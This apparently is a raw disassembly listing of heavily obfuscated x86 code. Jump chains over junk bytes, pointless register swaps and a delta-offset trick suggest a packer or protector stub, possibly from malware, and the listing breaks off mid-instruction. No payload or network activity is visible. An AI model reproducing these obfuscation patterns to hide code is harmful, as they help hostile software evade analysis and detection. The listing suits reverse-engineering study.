1 jmp short loc_46C7B3 ; --------------------------------------------------------------------------- dd 9987B22Ch, 61A22501h, 40EC71B0h ; --------------------------------------------------------------------------- sar dword ptr [ecx-6Ch], cl loc_46C7B3: ; CODE XREF: DMN1:0046C7A2j jmp short loc_46C7B7 ; --------------------------------------------------------------------------- db 8Ch, 0A5h ; --------------------------------------------------------------------------- loc_46C7B7: ; CODE XREF: DMN1:loc_46C7B3j jmp short loc_46C7C4 ; --------------------------------------------------------------------------- mov al, 0D3h adc eax, 45C91E89h push es xchg ch, [edx-71h] loc_46C7C4: ; CODE XREF: DMN1:loc_46C7B7j clc jmp short loc_46C7DB ; --------------------------------------------------------------------------- db 67h dd 46D46C7Ch, 0BDB46020h, 0F3BD1FEBh, 6C4B035Bh db 0AFh, 0BCh, 0AAh ; --------------------------------------------------------------------------- loc_46C7DB: ; CODE XREF: DMN1:0046C7C5j xchg esi, ebp cmc jmp short loc_46C7FE ; --------------------------------------------------------------------------- dd 2DAE93C1h, 90FD0E27h, 0ED53BCE2h, 2792E6D8h, 72111ADAh dd 0C549FEA2h, 8CFE6E8h db 0B9h, 0B2h ; --------------------------------------------------------------------------- loc_46C7FE: ; CODE XREF: DMN1:0046C7DEj jmp short loc_46C81E ; --------------------------------------------------------------------------- dd 0F9949771h, 5BCDF4DEh, 0EC10462Bh, 6EDD6575h, 7ED1E521h dd 1D86CEF1h, 58CEE74Ch ; --------------------------------------------------------------------------- aam 98h loc_46C81E: ; CODE XREF: DMN1:loc_46C7FEj jmp short loc_46C834 ; --------------------------------------------------------------------------- dd 3B3FA79Ch, 8B386771h, 0BEBB4367h, 156B8989h, 74807B0Fh ; --------------------------------------------------------------------------- loc_46C834: ; CODE XREF: DMN1:loc_46C81Ej jmp short loc_46C840 ; --------------------------------------------------------------------------- dw 0A7D0h dd 628FF843h, 0F51A4EF4h ; --------------------------------------------------------------------------- loc_46C840: ; CODE XREF: DMN1:loc_46C834j dec esp jz short loc_46C8B3 jmp short loc_46C859 ; --------------------------------------------------------------------------- db 0DBh, 53h, 0BEh dd 79E25B37h, 0A18CBFDh, 867A53A9h, 3BCB804Bh db 70h ; --------------------------------------------------------------------------- loc_46C859: ; CODE XREF: DMN1:0046C843j jmp short $+2 jmp short loc_46C866 ; --------------------------------------------------------------------------- imul ebx, [esi], 0C2C41136h inc eax xlat push es loc_46C866: ; CODE XREF: DMN1:0046C85Bj xchg edx, esi xchg edx, ebp xchg ebx, edx jmp short loc_46C87B ; --------------------------------------------------------------------------- dw 28B4h dd 8A5F2E1h, 1860713h db 7Ah, 0ECh, 0CFh ; --------------------------------------------------------------------------- loc_46C87B: ; CODE XREF: DMN1:0046C86Cj jmp short loc_46C883 ; --------------------------------------------------------------------------- db 0E8h, 68h, 0E3h db 65h, 0DDh, 97h ; --------------------------------------------------------------------------- loc_46C883: ; CODE XREF: DMN1:loc_46C87Bj xchg eax, esp inc esp jmp short loc_46C88F ; --------------------------------------------------------------------------- dd 88362FA7h db 0FCh, 0EAh, 3Ch ; --------------------------------------------------------------------------- loc_46C88F: ; CODE XREF: DMN1:0046C886j jmp short loc_46C8AA ; --------------------------------------------------------------------------- db 2, 4Eh, 0B3h dd 6CD33C50h, 0CCD4BA83h, 0A51C36E0h, 0D1F09BB0h, 1015421Bh db 0C6h, 32h ; --------------------------------------------------------------------------- loc_46C8AA: ; CODE XREF: DMN1:loc_46C88Fj jmp short $+2 xchg esp, esi jmp loc_46C204 ; --------------------------------------------------------------------------- loc_46C8B3: ; CODE XREF: DMN1:0046C841j xchg ebp, esi xchg esp, edx jmp short loc_46C8C5 ; --------------------------------------------------------------------------- db 0B7h, 7Eh, 7 dd 0E980CE19h, 1F329501h db 0B7h ; --------------------------------------------------------------------------- loc_46C8C5: ; CODE XREF: DMN1:0046C8B7j jmp short loc_46C8CD ; --------------------------------------------------------------------------- retn 3E84h ; --------------------------------------------------------------------------- dw 3A42h ; --------------------------------------------------------------------------- inc ebp loc_46C8CD: ; CODE XREF: DMN1:loc_46C8C5j jmp short loc_46C8E5 ; --------------------------------------------------------------------------- db 5Ah dd 0C1607363h, 0DC0D837Bh, 0A966266Bh, 0B907AB60h, 513CEF18h db 0C1h ; --------------------------------------------------------------------------- loc_46C8E5: ; CODE XREF: DMN1:loc_46C8CDj pop esi jmp short loc_46C8ED ; --------------------------------------------------------------------------- dd 1916D150h db 78h ; --------------------------------------------------------------------------- loc_46C8ED: ; CODE XREF: DMN1:0046C8E6j xor ebx, 4EE43A50h jmp short loc_46C910 ; --------------------------------------------------------------------------- db 76h, 68h, 30h dd 354C1001h, 8EADEDEFh, 2DF8A581h, 1CB69B7Ah, 6229569Ah dd 72BDF268h ; --------------------------------------------------------------------------- loc_46C910: ; CODE XREF: DMN1:0046C8F3j std jmp short loc_46C921 ; --------------------------------------------------------------------------- db 27h dd 7D0FEDABh, 542FD534h, 756611A6h db 0B5h ; --------------------------------------------------------------------------- loc_46C921: ; CODE XREF: DMN1:0046C911j jmp short loc_46C927 ; --------------------------------------------------------------------------- db 64h db 70h, 0D8h, 91h ; --------------------------------------------------------------------------- loc_46C927: ; CODE XREF: DMN1:loc_46C921j std stc jmp short loc_46C93A ; --------------------------------------------------------------------------- db 8Bh dd 1226BB60h, 1B36A78h, 0EF364EE8h ; --------------------------------------------------------------------------- dec edi push ecx loc_46C93A: ; CODE XREF: DMN1:0046C929j jmp short loc_46C94D ; --------------------------------------------------------------------------- dd 0FD8E19DAh, 0C70880B0h, 8A9E1ED1h, 1388E2C6h db 0F2h ; --------------------------------------------------------------------------- loc_46C94D: ; CODE XREF: DMN1:loc_46C93Aj cmc jmp short loc_46C953 ; --------------------------------------------------------------------------- db 1Ch, 7Eh, 7Bh ; --------------------------------------------------------------------------- loc_46C953: ; CODE XREF: DMN1:0046C94Ej jmp short loc_46C967 ; --------------------------------------------------------------------------- db 79h, 1Ch, 9Ah ; --------------------------------------------------------------------------- fisubr word ptr [eax-55h] jmp short loc_46C9C3 ; --------------------------------------------------------------------------- db 7Eh, 0A0h, 1Fh dd 1CFC34B1h db 83h, 87h, 8Fh ; --------------------------------------------------------------------------- loc_46C967: ; CODE XREF: DMN1:loc_46C953j jmp short loc_46C984 ; --------------------------------------------------------------------------- db 8, 0B1h, 37h dd 9B473477h, 73CFAE70h, 96EF823h, 8201804h, 0F0992368h dd 5A3581E3h ; --------------------------------------------------------------------------- loc_46C984: ; CODE XREF: DMN1:loc_46C967j jmp short loc_46C9A1 ; --------------------------------------------------------------------------- dw 6F5Fh ; --------------------------------------------------------------------------- loc_46C988: ; CODE XREF: DMN1:0046C99Ej outsb int 6Ch ; DOS 3.2 Realtime Clock update out 0BDh, al ; Interrupt Controller #2, 8259A les edi, [esp+ebp*8+22h] mov cl, 0CAh sub al, 0EDh pop ds lodsb loc_46C997: ; CODE XREF: DMN1:0046C9CBj mov dl, 0C3h db 66h test al, 42h int 7Ch ; IBM REXX88PC command language loopne loc_46C988 cwde loc_46C9A1: ; CODE XREF: DMN1:loc_46C984j jmp loc_46BCD9 ; --------------------------------------------------------------------------- loc_46C9A6: ; CODE XREF: DMN1:loc_46D73Cj popa pop ebp jmp loc_46C134 ; --------------------------------------------------------------------------- db 0BCh, 7Fh, 0F6h dd 0DB0A2ADAh, 55621F64h, 709553FAh, 53EE8A44h ; --------------------------------------------------------------------------- sub [esi-1Ch], edi loc_46C9C3: ; CODE XREF: DMN1:0046C95Bj mov ds:34BB832Fh, eax db 65h aad 91h jmp short loc_46C997 ; --------------------------------------------------------------------------- push ds movsb mov esp, 0F29DB03Fh xor esp, ebp mov bh, 53h mov cl, 0CCh or [edi-3D8CA72Fh], bl pop esi pop ebp cmc scasb add eax, 0FC2F1327h sub eax, 0CD9B5A0Eh mov word ptr [edi+75192B04h], fs enter 0FFFFE142h, 3Ch retf ; --------------------------------------------------------------------------- db 45h, 0E5h, 0DEh dd 5D61C180h, 62A3EEE4h, 6D2F3D07h, 95C2EC67h, 8C22EC56h dd 0A7F16A15h, 0EFE93BBFh, 0C48C7668h, 0CDFE6B68h, 0EAE791EAh dd 0E56F9C1Ah, 6B218526h, 294EE9D3h, 4058AE3Ch, 917CC85Bh dd 9ED1CC6h, 0F36C3B6Bh, 687D4453h, 8897F2BDh, 0E71BCD81h dd 32B72609h, 8D88CDA1h, 0BDF61DD0h, 0BFCB05E4h, 82AC9554h dd 0C1544C28h, 507694FAh, 0D096F6EDh, 0E8ECAD39h, 0A707E5D1h dd 272946DDh, 208EBDB6h, 9BC9A850h, 8D960F63h, 12464190h dd 9A76A81h, 0E0F8192Dh, 8CF838DFh, 39D701A7h, 5702A38Dh dd 8944B776h, 12DC2495h, 1E4471FBh, 0AE4F3928h, 0FC6AB822h dd 771F1F13h, 3D049F95h, 54019171h, 8083342Ah, 95F8D1B9h dd 271F5CDDh, 365ECD94h, 9AE8A808h, 74FC0B74h, 0D2DFE575h dd 0F86292FEh, 89F28DFFh, 471899AFh, 50EF207Ch, 98706159h dd 1CE8FA3h, 6FCA3E9Eh, 9DD9970Fh, 0F70658B3h, 15D2614Fh dd 6D4EB480h, 0E2449FE3h, 0B79762h, 2213BB58h, 0AB1CE4D1h dd 74CFF33h, 2D949268h, 794731FFh, 0E9640074h, 2B2AA5Fh dd 0D73107B7h, 0D8ACBDABh, 8E8BBB1Dh, 0BB3A0D1Fh, 0E47FB665h dd 3B0D4000h, 20ADD6B4h, 666ECCD6h, 2C9E0FE0h, 18EFBF24h dd 5084C70Dh, 0E78DF441h, 0BA48F872h, 461E6F0Fh, 0CD4DDE18h dd 6B10225Fh, 0ED54C675h, 58B510E6h, 97B8A20Ch, 0DFCA7F87h dd 2021E9B4h, 337F19EEh, 60C4823Dh, 92C10814h, 0F341F296h dd 0BF4D2BCDh, 0C8A721A6h, 0A25C549Bh, 691F1AA1h, 19C408B1h dd 0E202B28Fh, 0B0437846h, 71AC0CDEh, 0F4C119F3h, 95C375FFh dd 8E18ED0Ch, 0CBD930AEh, 0A9FECE17h, 5B52D59Eh, 0BD44C6A5h dd 9E3DA06h, 0C98CC89Ah, 0DC0528CDh, 0CEB91BECh, 0F19282D0h dd 0F3665A3h, 0B2105C7h, 0AD090B68h, 0EE22CCA4h, 99B41204h dd 616EB87Fh, 271FB1D8h, 0B87AFAA0h, 827567A9h, 7D2FC5E7h dd 46B07556h, 13D2B1F8h, 36395F9Dh, 132D9351h, 0B87AE0Bh dd 0B004BE29h, 0F2A94486h, 5C6FF785h, 9444527h, 7DF5B48Eh dd 53260930h, 1AE78FBFh, 0F23EFDD8h, 1996C3E8h, 0BE4AF590h dd 13B113F8h, 56788F40h, 0A19DB820h, 0B821E4BAh, 604939ABh dd 0B432893h, 968254A9h, 0DA081D80h, 9344960Ah, 9213BC91h dd 973049A6h, 0A7F4C2FAh, 0E70748EEh, 6AEA88A1h, 9CA74478h dd 18D97E77h, 9C80EE19h, 0CAA3C041h, 0ECF51903h, 8B542607h dd 0ABA347EFh, 0DF85281Eh, 9B602480h, 3143A805h, 0EB28909Dh dd 591A8403h, 68065AD2h, 0B6CC0192h, 51EB1A7Ch, 6B3477D8h dd 7B8D97D1h, 961224Ch, 0B14BE62Ch, 30582110h, 0AF81A179h dd 298F2431h, 4497E120h, 18C0B096h, 0ACA66635h, 0CC819761h dd 0D2D31347h, 79B3ACEh, 0B1864E02h, 3C08284Dh, 0C73FDB52h dd 0B1AC04A1h, 2914A792h, 0CE4A7D67h, 6DDA32F3h, 9D64BC34h dd 2A9D321Fh, 4055340Bh, 0D96AF864h, 0B076717Eh, 7507DB4Bh dd 681305B6h, 31109443h, 25E881C2h, 98D3630Ah, 5B3A6DD1h dd 0DDFEA92h, 260BDBE7h, 15FEB7C3h, 83EF139Eh, 2D970F76h dd 36C88D71h, 8E63B261h, 2352C7ACh, 0C8E34EFFh, 9291093Ch dd 0EB61C8C4h, 80950068h, 0F02F3BB8h, 7A354A2h, 704BC94Fh dd 2E52E1C1h, 85A4E175h, 0EFF172B5h, 0BB3B2BA4h, 0CAA455BAh dd 0ACA5777Eh, 6B298349h, 5DD6A185h, 0FE8125BEh, 0CBE92DD4h dd 0ACF825B3h, 5A667D48h, 633E7131h, 0B51117E4h, 57607442h dd 0EA795379h, 3ACDB603h, 0F74B8F3Ah, 0C2C11993h, 0E9677AFBh dd 48AAD681h, 7FDCCD96h, 0A9CF715Fh, 0F42EBF4Fh, 7AF00C93h dd 0DA12155Fh, 243685D0h, 0E5C40FCAh, 0FAE1FC2Ch, 74C9FC4Dh dd 14F5EF22h, 3BA02A7Bh, 0FC35DDF6h, 6E5FEB28h, 19A36861h dd 0F24477C6h, 0E92AC7EBh, 0EB346998h, 0CA4D1FDCh, 4D0A1961h dd 465607ECh, 0B5F763B1h, 0AD70F72Dh, 4A70CD7Eh, 292A9D8Fh dd 81E599F7h, 0FB3C42FFh, 530C4976h, 0A25F8285h, 87CDEA80h dd 50C50232h, 285D1C58h, 732A147Ah, 0E5BFEA4Eh, 5BC98EB0h dd 6203C337h, 0E5F8371Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp call $+5 pop ebp sub ebp, 6CE58h pusha mov eax, 33B71DE1h push eax xchg edx, esp jmp short loc_46CE82 ; --------------------------------------------------------------------------- dw 9E5Dh dd 3E338FA7h, 0D2122630h, 874E1DBFh, 545C67A8h, 1CC57127h db 84h, 0BBh ; --------------------------------------------------------------------------- loc_46CE82: ; CODE XREF: DMN1:0046CE68j jmp short loc_46CE91 ; --------------------------------------------------------------------------- dd 9CD69322h, 376F8C67h, 0F800FA35h ; --------------------------------------------------------------------------- xchg eax, esi loc_46CE91: ; CODE XREF: DMN1:loc_46CE82j xchg ebx, esi cld jmp short loc_46CEB1 ; --------------------------------------------------------------------------- dw 3362h dd 4ECDFFD7h, 0BFB861C6h, 57954103h, 356D57E5h, 0FE65E38h dd 74D25554h db 7Fh ; --------------------------------------------------------------------------- loc_46CEB1: ; CODE XREF: DMN1:0046CE94j clc jmp short loc_46CECE ; --------------------------------------------------------------------------- dd 8DA7BDD6h, 0F87FDF90h, 2125014Fh, 67414D79h, 0DAE99568h dd 13C653CEh db 0ACh, 7Bh ; --------------------------------------------------------------------------- loc_46CECE: ; CODE XREF: DMN1:0046CEB2j bswap eax jmp short loc_46CEEC ; --------------------------------------------------------------------------- dw 1E2Ch dd 0F8440F95h, 59432B57h, 0F9DF491h, 0F8B6E3E6h, 0ACD46699h dd 205879A6h ; --------------------------------------------------------------------------- loc_46CEEC: ; CODE XREF: DMN1:0046CED0j xchg ebx, edi cmc xchg edi, edx or ecx, 0FFFFFFFFh jmp short loc_46CEFC ; --------------------------------------------------------------------------- dw 0F8E4h ; --------------------------------------------------------------------------- aaa stc xchg edx, eax loc_46CEFC: ; CODE XREF: DMN1:0046CEF4j inc edx jmp short loc_46CF1A ; --------------------------------------------------------------------------- db 0F0h dd 5266FD7Eh, 63EE183Ah, 0CB7FBBEDh, 0C3282B85h, 6D74B211h dd 0A8E91854h db 0FAh, 0CAh ; --------------------------------------------------------------------------- loc_46CF1A: ; CODE XREF: DMN1:0046CEFDj jmp short loc_46CF20 ; --------------------------------------------------------------------------- dd 0CC679CEFh ; --------------------------------------------------------------------------- loc_46CF20: ; CODE XREF: DMN1:loc_46CF1Aj bswap esp clc jmp short loc_46CF2B ; --------------------------------------------------------------------------- inc edi inc byte ptr [esi+49h] retn ; --------------------------------------------------------------------------- cmpsb loc_46CF2B: ; CODE XREF: DMN1:0046CF23j jmp short loc_46CF3A ; --------------------------------------------------------------------------- db 34h, 39h, 42h dd 90B3555Bh, 46F6F665h db 95h, 7Ch ; --------------------------------------------------------------------------- loc_46CF3A: ; CODE XREF: DMN1:loc_46CF2Bj jmp short loc_46CF42 ; --------------------------------------------------------------------------- pop esi sal dword ptr [eax+2Eh], cl inc ebp aas loc_46CF42: ; CODE XREF: DMN1:loc_46CF3Aj xchg ebx, ecx not eax inc ebx jmp short $+2 xchg ebx, esp jmp short loc_46CF57 ; --------------------------------------------------------------------------- db 8Bh, 2Dh, 32h dd 0BB2D166Ch db 0BEh, 0E9h, 9Dh ; --------------------------------------------------------------------------- loc_46CF57: ; CODE XREF: DMN1:0046CF4Bj jmp short loc_46CF6B ; --------------------------------------------------------------------------- db 0DEh, 30h, 65h dd 3C67D73Eh, 799ED64Fh, 0AE04CC2Bh db 0E1h, 0CDh, 19h ; --------------------------------------------------------------------------- loc_46CF6B: ; CODE XREF: DMN1:loc_46CF57j jmp short loc_46CF71 ; --------------------------------------------------------------------------- aaa sub edx, [ebx-33h] loc_46CF71: ; CODE XREF: DMN1:loc_46CF6Bj xchg eax, eax jmp short loc_46CF83 ; --------------------------------------------------------------------------- db 8Ah, 24h, 0A7h dd 0E76AD307h, 0F4717235h db 0E2h, 3Bh, 54h ; --------------------------------------------------------------------------- loc_46CF83: ; CODE XREF: DMN1:0046CF73j jmp short loc_46CFA0 ; --------------------------------------------------------------------------- db 4Eh, 0F8h, 40h dd 659FECD5h, 7E946E93h, 0FF8DAA49h, 44208FD4h, 0A69E5117h dd 96161398h ; --------------------------------------------------------------------------- loc_46CFA0: ; CODE XREF: DMN1:loc_46CF83j jmp short loc_46CFA6 ; --------------------------------------------------------------------------- dw 0D567h db 95h ; db 0FCh ; ; --------------------------------------------------------------------------- loc_46CFA6: ; CODE XREF: DMN1:loc_46CFA0j jmp short loc_46CFAA ; --------------------------------------------------------------------------- db 78h, 0B0h ; --------------------------------------------------------------------------- loc_46CFAA: ; CODE XREF: DMN1:loc_46CFA6j jmp short loc_46CFC3 ; --------------------------------------------------------------------------- dd 2D8BC3EFh, 0EE9CCFDCh, 4E4C4168h, 0B52DF2D6h, 4D0CC0D6h db 99h, 0BDh, 3Ch ; --------------------------------------------------------------------------- loc_46CFC3: ; CODE XREF: DMN1:loc_46CFAAj xor esp, 41000h jmp short loc_46CFE9 ; --------------------------------------------------------------------------- db 0A3h dd 0FFA05166h, 0E30EF6BFh, 0F8848CCFh, 6B7268E3h, 0CFE54130h dd 2476AECAh, 2B0E2D19h db 0CFh ; --------------------------------------------------------------------------- loc_46CFE9: ; CODE XREF: DMN1:0046CFC9j jmp short loc_46D003 ; --------------------------------------------------------------------------- db 0F7h ; --------------------------------------------------------------------------- retf 0B9B9h ; --------------------------------------------------------------------------- db 4 dd 0AEDF6089h, 0AD7FA82Fh, 4EF1CD84h, 6E89EE0h ; --------------------------------------------------------------------------- xor [edi+8], ebp loc_46D003: ; CODE XREF: DMN1:loc_46CFE9j stc bswap ebx jmp short loc_46D025 ; --------------------------------------------------------------------------- dd 44B23AB2h, 91C2BA06h, 0BEC68DFEh, 2A716A90h, 745C90E7h dd 5F8846A9h, 0D6E72E79h db 0EAh ; --------------------------------------------------------------------------- loc_46D025: ; CODE XREF: DMN1:0046D006j jmp short loc_46D036 ; --------------------------------------------------------------------------- db 21h dd 12D417h, 901BA21Ah, 98606BDFh db 0C1h, 0A4h ; --------------------------------------------------------------------------- loc_46D036: ; CODE XREF: DMN1:loc_46D025j jmp short loc_46D040 ; --------------------------------------------------------------------------- dd 4E1F3B8Ah, 0ECE59A62h ; --------------------------------------------------------------------------- loc_46D040: ; CODE XREF: DMN1:loc_46D036j mov ecx, 0AF1Fh loc_46D045: ; CODE XREF: DMN1:0046D5B4j jmp short loc_46D05F ; --------------------------------------------------------------------------- db 4Ch dd 0B836E312h, 0ECC6905Ch, 0E480DF8h, 0C33A2B41h, 32B86DEh db 0E6h, 15h, 67h ; --------------------------------------------------------------------------- loc_46D05F: ; CODE XREF: DMN1:loc_46D045j rcl edx, cl jmp short loc_46D073 ; --------------------------------------------------------------------------- sbb al, 83h inc ebp xor eax, 9E5A9A52h dec edx add eax, 1F215BBFh ja short loc_46D07F loc_46D073: ; CODE XREF: DMN1:0046D061j jmp short loc_46D08B ; --------------------------------------------------------------------------- not dword ptr [ecx] leave push eax mov bl, 7Dh stosd cli inc esp cmpsd loc_46D07F: ; CODE XREF: DMN1:0046D071j and [ebp+45h], esi jmp far ptr 4346h:0F2A1181Fh ; --------------------------------------------------------------------------- db 16h, 21h ; --------------------------------------------------------------------------- loc_46D08B: ; CODE XREF: DMN1:loc_46D073j rcr edx, cl std xchg ebx, ebp jmp short loc_46D095 ; --------------------------------------------------------------------------- dw 6CAEh db 73h ; --------------------------------------------------------------------------- loc_46D095: ; CODE XREF: DMN1:0046D090j xchg ebx, ebx jmp short loc_46D0AE ; --------------------------------------------------------------------------- db 0DCh, 87h, 15h dd 0F789DCDEh, 0B079BF83h, 2DE01A8Bh, 7A7A75B8h db 0C7h, 74h ; --------------------------------------------------------------------------- loc_46D0AE: ; CODE XREF: DMN1:0046D097j jmp short loc_46D0C9 ; --------------------------------------------------------------------------- mov cl, 0F4h retf 0B121h ; --------------------------------------------------------------------------- align 2 dw 6E9Ah ; --------------------------------------------------------------------------- test eax, 0F2BCFA29h icebp retf 0AA85h ; --------------------------------------------------------------------------- aam 44h xchg ebx, ds:90068CE0h loc_46D0C9: ; CODE XREF: DMN1:loc_46D0AEj mov edx, ebx jmp short loc_46D0DA ; --------------------------------------------------------------------------- db 39h, 8Dh, 0F1h ; --------------------------------------------------------------------------- xchg esp, cs:[edi-687C2969h] db 26h xor al, al loc_46D0DA: ; CODE XREF: DMN1:0046D0CBj jmp short loc_46D0DF ; --------------------------------------------------------------------------- mov bl, 0F8h pop edi loc_46D0DF: ; CODE XREF: DMN1:loc_46D0DAj jmp short loc_46D0E3 ; --------------------------------------------------------------------------- db 0FBh, 78h ; --------------------------------------------------------------------------- loc_46D0E3: ; CODE XREF: DMN1:loc_46D0DFj jmp short loc_46D103 ; --------------------------------------------------------------------------- db 0A9h, 0CAh, 30h dd 79B4079Bh, 4993546Ch, 0DDCC8D5Ch, 6B49311h, 0E49D4499h dd 97B7344Ch db 6Eh, 0F3h, 0C2h ; --------------------------------------------------------------------------- loc_46D103: ; CODE XREF: DMN1:loc_46D0E3j std jmp short loc_46D11E ; --------------------------------------------------------------------------- retn 97C3h ; --------------------------------------------------------------------------- db 4Ch, 2Eh, 21h dd 0EBD6A9C8h, 34954475h, 0C7125B1Dh, 0AD46FF8Ah db 3, 8Ch ; --------------------------------------------------------------------------- loc_46D11E: ; CODE XREF: DMN1:0046D104j add edx, esp jmp short loc_46D138 ; --------------------------------------------------------------------------- dw 0F2D8h dd 6FAD95F2h, 8115192Ch, 689B0031h, 944FB451h, 0B0592AFCh ; --------------------------------------------------------------------------- loc_46D138: ; CODE XREF: DMN1:0046D120j cld mov ebp, [edx] jmp short loc_46D14B ; --------------------------------------------------------------------------- sub al, 77h pop es jnz short loc_46D1A0 or [ecx-1D860ABEh], ebx stosb sub cl, [eax] loc_46D14B: ; CODE XREF: DMN1:0046D13Bj neg edx jmp short loc_46D167 ; --------------------------------------------------------------------------- db 7Ah dd 81E05493h, 2F0256DAh, 62743C91h, 85A6D255h, 0CCB1E564h db 0ACh, 56h, 0C1h ; --------------------------------------------------------------------------- loc_46D167: ; CODE XREF: DMN1:0046D14Dj jmp short loc_46D176 ; --------------------------------------------------------------------------- db 52h, 7, 65h ; --------------------------------------------------------------------------- and ds:0BA6063Ch, ch mov dl, 34h adc edx, esp loc_46D176: ; CODE XREF: DMN1:loc_46D167j jmp short loc_46D17E ; --------------------------------------------------------------------------- dd 4F8CD865h db 0C4h, 67h ; --------------------------------------------------------------------------- loc_46D17E: ; CODE XREF: DMN1:loc_46D176j jmp short loc_46D183 ; --------------------------------------------------------------------------- db 4Dh, 1, 25h ; --------------------------------------------------------------------------- loc_46D183: ; CODE XREF: DMN1:loc_46D17Ej and eax, 0BA7370EDh jmp short loc_46D1A4 ; --------------------------------------------------------------------------- db 44h dd 0F921C626h, 37F0400Ch, 3324824Fh, 45FD1E9Ah, 0F6A979ABh ; --------------------------------------------------------------------------- loc_46D1A0: ; CODE XREF: DMN1:0046D140j and [ebx-40h], esi ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- loc_46D1A4: ; CODE XREF: DMN1:0046D189j jmp short loc_46D1AB ; --------------------------------------------------------------------------- jnz short loc_46D1E5 xlat test al, 0Fh loc_46D1AB: ; CODE XREF: DMN1:loc_46D1A4j xor ebp, [edi] xchg esp, edx jmp short loc_46D1CF ; --------------------------------------------------------------------------- db 0C0h, 62h, 0D8h dd 2FF9812Ch, 0BBD767F2h, 8665B9ECh, 859CF606h, 0AF1A3BD1h dd 0D44132A7h db 4, 0AFh, 0CAh ; --------------------------------------------------------------------------- loc_46D1CF: ; CODE XREF: DMN1:0046D1AFj jmp short loc_46D1DB ; --------------------------------------------------------------------------- db 34h, 5, 1Fh dd 0D9AED452h db 46h, 0FAh, 0BFh ; --------------------------------------------------------------------------- loc_46D1DB: ; CODE XREF: DMN1:loc_46D1CFj xchg ebp, esp stc neg eax xchg ecx, ebx jmp short loc_46D1ED ; --------------------------------------------------------------------------- db 0C1h ; --------------------------------------------------------------------------- loc_46D1E5: ; CODE XREF: DMN1:0046D1A6j mov edx, 0BA219056h lodsb cli nop loc_46D1ED: ; CODE XREF: DMN1:0046D1E2j jmp short loc_46D205 ; --------------------------------------------------------------------------- db 22h dd 6AFA8922h, 1BDAA08Eh, 69834289h, 0A6FA5F8h, 8B0C0B24h db 3Bh ; --------------------------------------------------------------------------- loc_46D205: ; CODE XREF: DMN1:loc_46D1EDj jmp short loc_46D219 ; --------------------------------------------------------------------------- db 6Fh dd 71F1E6A1h, 0B5E629C2h, 7AEE43ACh, 0F53F8C17h db 84h ; --------------------------------------------------------------------------- loc_46D219: ; CODE XREF: DMN1:loc_46D205j jmp short loc_46D22B ; --------------------------------------------------------------------------- db 1Eh dd 1C72E1FAh, 331FFC91h, 0F3A70FAFh db 3Ch, 0EBh, 63h ; --------------------------------------------------------------------------- loc_46D22B: ; CODE XREF: DMN1:loc_46D219j xchg esp, [edi] jmp short loc_46D245 ; --------------------------------------------------------------------------- db 8Bh dd 8E92B59Ah, 6D33C508h, 7C74BDC3h, 0B7CAC1D9h, 7A6E09B7h ; --------------------------------------------------------------------------- popa loc_46D245: ; CODE XREF: DMN1:0046D22Dj jmp short loc_46D25B ; --------------------------------------------------------------------------- db 19h dd 56712426h, 326A150Bh, 8191195Eh, 0CF1A353h db 0FDh, 0D7h, 82h ; --------------------------------------------------------------------------- loc_46D25B: ; CODE XREF: DMN1:loc_46D245j std xchg eax, edx jmp short loc_46D261 ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- loc_46D261: ; CODE XREF: DMN1:0046D25Ej jmp short loc_46D26A ; --------------------------------------------------------------------------- db 0E8h dd 45FB1213h db 89h, 72h ; --------------------------------------------------------------------------- loc_46D26A: ; CODE XREF: DMN1:loc_46D261j jmp short loc_46D273 ; --------------------------------------------------------------------------- dd 5A4392EBh db 91h, 4Dh, 0F2h ; --------------------------------------------------------------------------- loc_46D273: ; CODE XREF: DMN1:loc_46D26Aj jmp short loc_46D293 ; --------------------------------------------------------------------------- dec ebp retn ; --------------------------------------------------------------------------- db 2Ah dd 7C5C51F4h, 3B08B44Ah, 0E89D6E10h, 4117E125h, 90BC6000h dd 0A91300FDh db 97h, 0EDh, 0DEh ; --------------------------------------------------------------------------- loc_46D293: ; CODE XREF: DMN1:loc_46D273j jmp short loc_46D2A9 ; --------------------------------------------------------------------------- db 43h, 0C4h, 0E4h dd 0CD3F1FCFh, 2793015Ah, 77E3590Eh, 203B3F30h db 0B0h ; --------------------------------------------------------------------------- loc_46D2A9: ; CODE XREF: DMN1:loc_46D293j jmp short loc_46D2B1 ; --------------------------------------------------------------------------- add eax, 0E2AE7B7Ah cdq loc_46D2B1: ; CODE XREF: DMN1:loc_46D2A9j xor ebp, 0C50B39BAh jmp short loc_46D2CB ; --------------------------------------------------------------------------- db 3Eh, 63h, 7Bh dd 887ADE1Ch, 1C13F88Fh, 58E08EDFh db 0ADh, 63h, 0B5h ; --------------------------------------------------------------------------- loc_46D2CB: ; CODE XREF: DMN1:0046D2B7j rol esp, 1 jmp short loc_46D2D0 ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- loc_46D2D0: ; CODE XREF: DMN1:0046D2CDj jmp short loc_46D2EA ; --------------------------------------------------------------------------- dw 0DD2h dd 0D407884Ch, 6F1FCC6Bh, 0EFC76FA3h, 0E7D975D8h, 0E1AB51B4h db 13h, 0A1h ; --------------------------------------------------------------------------- loc_46D2EA: ; CODE XREF: DMN1:loc_46D2D0j xchg edi, esp xchg esi, ebx jmp short loc_46D305 ; --------------------------------------------------------------------------- mov esp, 77296710h stosd adc edi, edx xchg dh, [ebp-5Ch] movsb mov bh, 0B5h retf ; --------------------------------------------------------------------------- db 0A6h dd 19E16D2Ch db 39h ; --------------------------------------------------------------------------- loc_46D305: ; CODE XREF: DMN1:0046D2EEj jmp short loc_46D312 ; --------------------------------------------------------------------------- db 75h dd 0C4214756h, 30BD0A7h db 1Dh, 0A7h ; --------------------------------------------------------------------------- loc_46D312: ; CODE XREF: DMN1:loc_46D305j xchg ebx, eax std jmp short loc_46D328 ; --------------------------------------------------------------------------- db 46h dd 0C7E8641Ah, 5B4E2B89h, 939CBA6Dh, 91EB30C8h ; --------------------------------------------------------------------------- loc_46D328: ; CODE XREF: DMN1:0046D315j jmp short loc_46D32C ; --------------------------------------------------------------------------- inc ebp push eax loc_46D32C: ; CODE XREF: DMN1:loc_46D328j xor eax, 0C44C7084h bswap edx std jmp short loc_46D34C ; --------------------------------------------------------------------------- db 73h dd 2BDD281Fh, 0FAE0E37Eh, 7C43A39Ah, 9025D198h, 9AABB77Ah ; --------------------------------------------------------------------------- loc_46D34C: ; CODE XREF: DMN1:0046D335j add edi, 6AA1596Ah jmp short loc_46D35B ; --------------------------------------------------------------------------- dd 60E951F3h ; --------------------------------------------------------------------------- or 